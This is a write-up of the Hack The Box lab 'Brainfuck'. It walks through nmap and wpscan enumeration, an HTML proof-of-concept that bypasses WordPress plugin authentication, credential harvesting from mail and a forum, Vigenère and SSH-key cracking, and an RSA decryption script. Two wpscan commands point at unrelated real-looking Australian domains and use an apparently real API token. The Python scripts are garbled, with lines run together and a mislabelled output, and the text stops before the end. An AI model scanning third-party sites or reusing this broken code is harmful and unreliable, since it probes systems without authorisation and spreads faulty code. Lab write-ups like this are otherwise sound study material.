Brainfuck Writeup

https://0xdf.gitlab.io/2022/05/16/htb-brainfuck.html

Reconnaissance:

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

INITIAL SCAN

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.17   
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS

We get back the following result showing that five ports are open:

Port 22: running OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Port 25: running Postfix smtpd Port 110: running Dovecot pop3d Ports 143: running Dovecot imapd Ports 443: running nginx 1.10.0

ALL PORTS

Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.17 

UDP PORTS

No other ports are open. Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p- 10.10.10.17 

We get back the following result showing that no ports are open.

Before we move on to enumeration, let’s make a few mental notes about the nmap scan results.

  1. The version of SSH being used is not associated with any critical vulnerabilities, so port 22 is unlikely to be our point of entry. We’ll need credentials for this service.

  2. Port 443 is running HTTPS. The index page gives us the title “Welcome to nginx!”. This is likely a configuration issue where the IP address doesn’t know what hostname it should map to in order to serve a specific site and so instead it’s serving the ngnix default page. To fix this issue we’ll need to first figure out the list of hostnames that resolve to this IP address and then add these hostnames to our /etc/hosts file. From the nmap scan, we get three possible hostnames: brainfuck.htb, www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb.

  3. Ports 25, 143 and 110 are running mail protocols. We might need to find a valid email address to further enumerate these services.

Enumeration:

Add the following hostnames to the /etc/hosts file on your attack machine.

┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb 

I always start off with enumerating HTTP first. In this case only port 443 is open so we’ll start there. First, let’s visit the site brainfuck.htb. After adding a security exception, we get the following page.

Wappalyer

This is a WordPress site and we all know that WordPress is associated with SO MANY vulnerabilities. However, before we run a WordPress vulnerability scanner on this site, let’s look at the certificate information to see if it leaks any useful information.

Certificate

To do that, click on the lock icon > Show Connection Details. Then click More Information > View Certificate > Details. There, we see that the Issuer field gives us the email address orestis@brainfuck.htb that might be useful when enumerating the open mail protocol ports. This email can also be found on the website.

emailAddress = orestis@brainfuck.htb

WPSCAN

Next, let’s run the WordPress vulnerability scanner on the site.

┌──(kali㉿kali)-[~]
└─$ wpscan --url https://brainfuck.htb --disable-tls-checks --api-token 0SnNawrbLxKv9EAVVtOxl4MCQ8NUleZa69qEYn5bDus
— url: The URL of the blog to scan.
— disable-tls-checks: Disables SSL/TLS certificate verification.
— api-token: The WPVulnDB API Token to display vulnerability data

┌──(kali㉿kali)-[~]
└─$ wpscan --disable-tls-checks --ignore-main-redirect --user-agent 'Mozilla' -t 10 --force --wp-content-dir wp-content --api-token 0SnNawrbLxKv9EAVVtOxl4MCQ8NUleZa69qEYn5bDus --url originenergy.com.au

The following is a summary of the results found by the wpscan.

  • The WordPress version identified is 4.7.3.

  • The identified version of WordPress contains 44 vulnerabilities.

  • The WP Support Plus Responsive Ticket System plugin is installed.

  • The identified version of WP Support Plus Responsive Ticket System plugin contains 4 vulnerabilities.

Out of all the vulnerabilities identified, one particular vulnerability does stand out: 
| [!] Title: WP Support Plus Responsive Ticket System <= 8.0.7 - Remote Code Execution (RCE)
 |     Fixed in: 8.0.8
 |     References:
 |      - https://wpscan.com/vulnerability/1527b75a-362d-47eb-85f5-47763c75b0d1/
 |      - https://wpvulndb.com/vulnerabilities/8949
 |      - https://plugins.trac.wordpress.org/changeset/1763596/wp-support-plus-responsive-ticket-system

Searchsploit

I tried this vulnerability, however, it did not work out. So, let’s check if searchsploit generates any other vulnerabilities.

┌──(kali㉿kali)-[~]
└─$ searchsploit WP Support Plus Responsive Ticket System 

WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities                 | php/webapps/34589.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation                   | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection                          | php/webapps/40939.txt

Let’s look at the privilege escalation vulnerability.

WPSCAN

This vulnerability allows you to bypass authentication by logging in as anyone without knowing the password. You do however need a valid username for the attack to work. Therefore, let’s use wpscan to enumerate usernames.

┌──(kali㉿kali)-[~]
└─$ wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u

┌──(kali㉿kali)-[~]
└─$ wpscan --url https://rsfcaus.com.au --disable-tls-checks --enumerate u --random-user-agent --api-token 0SnNawrbLxKv9EAVVtOxl4MCQ8NUleZa69qEYn5bDus

Both “admin” and “administrator” are valid usernames. Now that we have a valid username, let’s attempt to exploit the vulnerability.

admin
administrator

Foothold:

Copy the POC code from the and save it in the file priv-esc.html. Change the URL to the name of the machine.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Get the location of the exploit file on the attack machine.

pwd

Run it in the browser and login as administrator.

https://brainfuck.htb/wp-admin/admin-ajax.php

Refresh the brainfuck.htb page and we’re logged in as administrator!

There doesn’t seem to be much functionality available for this user. Therefore, let’s try the ‘admin’ user next. Perform the same exploit again except with the username being ‘admin’.

On the top tab click on Brainfuck Ltd. > Themes. Then click on Plugins > Settings on the Easy WP SMTP plugin. There, we find the SMTP configuration settings with the SMTP username and SMTP masked password. Right click on the password field and view page source.

orestis
kHGuERB29DNiNE
orestis@brainfuck.htb

Evolution:

Let’s use the mail client Evolution to log into orestis’s email. If you don’t have Evolution installed on your kali, you can install it using the following command.

┌──(kali㉿kali)-[~]
└─$ sudo apt-get install evolution

Open up the Evolution mail client. Click on File > New > Mail Account. On the Welcome page click Next. There, enter the name orestis in the Full Name field and orestis@brainfuck.htb in the Email Address field.

Click Next. In the Receiving Email window, add brainfuck.htb as the Server, 143 as the Port and orestis as the Username.

Click Next > Next. In the Sending Email window, add brainfuck.htb as the Server, 25 as the Port and No encryption as the Encryption method.

Click Next > Next. You’ll be prompted with an authentication request. Add the password kHGuERB29DNiNE and click OK. Now we can see orestis’s mail!

The Form Access Details email gives us another set of credentials. root root@brainfuck.htb

Remember that in the enumeration phase, we had three hostnames that we added to our hosts file. Since the email mentions a “secret” forum, let’s check out the sup3rs3cr3t.brainfuck.htb website. On the website, when you click on Log In, you’re presented with a login page. Enter our newly found credentials there.

https://sup3rs3cr3t.brainfuck.htb/
username: orestis
password: kIEnnfEKJ#9UmdO

We’re logged in as orestis!

Click on the SSH Access thread. Based on the comments made there, orestis seems to have lost his SSH key and wants the admin to send it to him on an encrypted thread. One other thing we notice is that orestis always signs his message with the “Orestis — Hacking for fun and profit” phrase.

The encrypted thread orestis is referencing is the Key thread.

There, you’ll notice that orestis’s comments are signed with the same message we saw above except the message is in encrypted form. However, with each comment, the generated cipher text for the phrase is different. Therefore, the admin might be using the Vigenère cipher which is a variation of a Caesar substitution cipher that uses a keyword and repeats it until it matches the length of the plaintext. Then the equivalent letter of the keyword is used to encrypt its corresponding plaintext letter. Therefore, the same plaintext can generate multiple different cipher texts.

Since we do have the plaintext and its corresponding cipher text, we can deduce the key since this cipher is vulnerable to a known plaintext attack. This page explains it really well, therefore I won’t explain how to do it.

I wrote a python script to automate the process of finding the key.

plaintext = "OrestisHackingforfunandprofit"
ciphertext = "PieagnmJkoijegnbwzwxmlegrwsnn"
key = ""for i in range(len(plaintext)):
 num_key = ((ord(ciphertext[i]) - ord(plaintext[i])) % 26) + 97
 char_key = chr(num_key)
 key = key + char_keyprint key

The script loops through the cipher text string and takes each character in order and converts it to the integer representation of that character. Then it subtracts that value from the integer representation of the corresponding character in the plaintext string and applies the modulus of 26 since there are 26 alphabets. This gives you a value between 0 and 25 inclusive. However, since the “chr” function that turns an integer to its character value depends on the ASCII table where 97 represents “a”, 98 represents “b”, etc. I had to add 97 to the integer value. After it loops through the entire cipher text it prints the key.

Let’s run the script.

python vigenere-key.py

We get back the following result.

brainfuckmybrainfuckmybrainfu

As mentioned earlier, the Vigenère cipher uses a keyword and repeats it until it matches the length of the plaintext. Therefore, we can deduce that the key is fuckmybrain. Now that we have the key, we can use it to decrypt the admin’s statement using this

Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)
mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja

Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr

We get back the following text.

There you go you stupid fuck, I hope you remember your key password because I dont :)
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

We’re one step closer! We have a link to the RSA private key that seems to be encrypted since the admin mentions a “key password” in the comment. Visit the link to download the RSA key. We get back the following encrypted key.

Before we use John the Ripper (JtR) to crack the password used to encrypt the private key, we need to convert the file into JtR format. To do that I use the sshng2john.py script

┌──(kali㉿kali)-[~/Desktop]
└─$ python sshng2john.py ~/Desktop/id_rsa > ~/Desktop/ssh-key 

Now we can use JtR to crack the password.

┌──(kali㉿kali)-[~/Desktop]
└─$ john ssh-key --wordlist=/usr/share/wordlists/rockyou.txt 
3poulakia!

It cracked the password! Let’s use the key and password to SSH into orestis’s machine. First change the permissions on the encrypted RSA private key.

┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 id_rsa

Then SSH into the machine.

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa orestis@brainfuck.htb
3poulakia!

We finally gained an initial foothold!

Privilege Escalation:

List the files in orestis’s home directory.

orestis@brainfuck:~$ ls -la

View the content of encrypt.sage.

orestis@brainfuck:~$ cat encrypt.sage

It seems to be performing RSA encryption. First, it opens the root.txt file and uses its value as a parameter in the encryption. The encrypted password is written in the output.txt file. It also logs parameters in the debug.txt file.

Parameters p, q and e are logged in the debug file which we have read/write access to. Since we have both p and q, we can calculate n=p*q, phi=(p-1)(q-1). We also have c since it’s written in the output.txt file which we have read/write access to. So we can calculate m from the equation c = pow(m,e,n).

Instead of doing that by hand, someone already wrote a script for it. First modify the script to include our values.

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, ydef main():p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182# compute n
    n = p * q# Compute phi(n)
    phi = (p - 1) * (q - 1)# Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = aprint( "n:  " + str(d) );# Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )# Added code
flag = hex(pt)
flag = str(flag[2:-1])
print flag.decode("hex")if __name__ == "__main__":
    main()

I also added code that converts the string to ASCII. Run the script.

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 rsa-attack.py
n:  522550976146069021499058157764354003336248628589338241039193114657
pt: 83678269879577658472958479799572658268

Last updated